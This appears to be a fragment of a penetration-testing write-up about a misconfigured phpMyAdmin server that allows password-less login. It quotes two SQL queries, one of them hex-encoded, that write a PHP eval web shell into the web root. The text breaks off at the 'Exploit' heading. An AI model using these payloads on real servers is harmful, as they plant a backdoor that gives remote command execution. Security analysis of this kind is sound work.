0x02 About

The web server runs phpmyadmin,but with wrong setup,makes it possible for anyone to logined in phpmyadmin without password,and able to read the root password.

There are two files: tbl_sql.php,sql.php. Generally,tbl_sql.php has execute sqlquery function like below picture at arrow 1,sql.php has view sql database function like below picture at arrow 2.

generally,when we want to execute sql query like

select '<? php @eval($_POST[cmd]);?>' into dumpfile '/var/www/1.php'
select 0x3c3f2070687020406576616c28245f504f53545b636d645d293b3f3e into dumpfile '/var/www/1.php'

we will find this does not work here coz tbl_sql.php was deleted.It works out like below 404 error when I try to execute above query:

0x03 Exploit
